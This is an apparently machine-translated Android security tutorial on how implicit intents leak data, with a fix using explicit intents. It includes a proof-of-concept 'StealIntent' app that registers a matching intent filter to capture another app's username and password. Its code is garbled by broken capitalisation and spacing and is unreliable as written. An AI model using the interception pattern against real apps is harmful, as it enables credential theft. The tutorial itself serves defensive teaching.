Android security-intent

1. Introduction to intent
In the android environment, intent is mainly used for information transmission. If intent uses the implicit method (setaction) to identify the intent message, the receiver uses this action to receive information.
If intent does not explicitly specify which receiver has the permission to receive the message, the malicious program will obtain the intent content after specifying the action identifier, which will cause data leakage.
Ii. Instances
Intent can use startactivity, startservice, and sendbroadcast methods to transmit information to activity, service, and broadcat.
The following example uses activity,
The SendIntent application is a normal application. There are two activities. LoginActivity is used to log on to the interface. MainActiviey is used to display the logon interface and submitted intent information;
SendIntent androidmanifest. xml
<? Xml version = "1.0" encoding = "UTF-8"?>
<Manifest xmlns: android = "http://schemas.android.com/apk/res/android"
Package = "com. xiaod. SendIntent"
Android: versionCode = "1"
Android: versionName = "1.0" type = "codeph" text = "/codeph">
<Uses-sdk android: minSdkVersion = "8"/>
<Application android: icon = "@ drawable/icon" android: label = "@ string/app_name">
<Activity android: name = ". LoginActivity"
Android: label = "@ string/app_name">
<Intent-filter>
<Action android: name = "android. intent. action. MAIN"/>
<Category android: name = "android. intent. category. LAUNCHER"/>
</Intent-filter>
</Activity>
<Activity android: name = ". MainActivity" android: label = "Main">
<Intent-filter>
<Action android: name = "com. xiaod. SendIntent. action. main"/>
<Category android: name = "android. intent. category. DEFAULT"/>
</Intent-filter>
</Activity>
</Application>
</Manifest>
LoginActivity. java
Package com. xiaod. SendIntent;
Import android. app. Activity;
Import android. content. Intent;
Import android. OS. Bundle;
Import android. view. View;
Import android. view. View. OnClickListener;
Import android. widget. Button;
Import android. widget. EditText;
Public class LoginActivity extends Activity {
Private EditText et_user;
Private EditText et_pwd;
Private Button btn_login;
/** Called when the activity is first created .*/
@ Override
Public void onCreate (Bundle savedInstanceState ){
Super. onCreate (savedInstanceState );
SetContentView (R. layout. login );
Et_user = (EditText) findViewById (R. id. et_user );
Et_pwd = (EditText) findViewById (R. id. et_pwd );
Btn_login = (Button) findViewById (R. id. btn_login );
Btn_login.setOnClickListener (new OnClickListener (){
@ Override
Public void onClick (View v ){
// TODO Auto-generated method stub
Intent m_intent = new Intent ();
M_intent.putExtra ("username", et_user.getText (). toString ());
M_intent.putExtra ("password", et_pwd.getText (). toString ());
M_intent.setAction ("com. xiaod. SendIntent. action. main ");
M_intent.addCategory (Intent. CATEGORY_DEFAULT );
StartActivity (m_intent );
}
});
}
}
 
The StealIntent application is a malicious application that listens to the intent sent from the LoginActivity interface of the SendIntent application to the MainActiviey interface.
StealIntent androidmanifest. xml
<? Xml version = "1.0" encoding = "UTF-8"?>
<Manifest xmlns: android = "http://schemas.android.com/apk/res/android"
Package = "com. xiaod. StealIntent"
Android: versionCode = "1"
Android: versionName = "1.0" type = "codeph" text = "/codeph">
<Uses-sdk android: minSdkVersion = "8"/>
<Application android: icon = "@ drawable/icon" android: label = "@ string/app_name">
<Activity android: name = ". StealIntentActivity"
Android: label = "@ string/app_name">
<Intent-filter>
<Action android: name = "com. xiaod. SendIntent. action. main"/>
<Category android: name = "android. intent. category. DEFAULT"/>
</Intent-filter>
</Activity>
</Application>
</Manifest>
StealIntentActivity. java
Package com. xiaod. StealIntent;
Import android. app. Activity;
Import android. OS. Bundle;
Import android. widget. Toast;
Public class StealIntentActivity extends Activity {
/** Called when the activity is first created .*/
@ Override
Public void onCreate (Bundle savedInstanceState ){
Super. onCreate (savedInstanceState );
SetContentView (R. layout. main );
Toast. makeText (getBaseContext (),
"Username:" + this. getIntent (). getStringExtra ("username") +
"\ Npassword:" + this. getIntent (). getStringExtra ("password "),
Toast. LENGTH_SHORT). show ();
}
}
After logging on to SendIntent, StealIntent also receives the message sent by intent.


 
Iii. Solution
Do not use action to identify intent, explicitly specify the packet and processing class that intent sends
Intent m_intent = new Intent ();
M_intent.putExtra ("username", et_user.getText (). toString ());
M_intent.putExtra ("password", et_pwd.getText (). toString ());
M_intent.setClassName ("com. xiaod. SendIntent", "com. xiaod. SendIntent. MainActivity ");
StartActivity (m_intent );
 

From http://www.sectop.com /? P = 187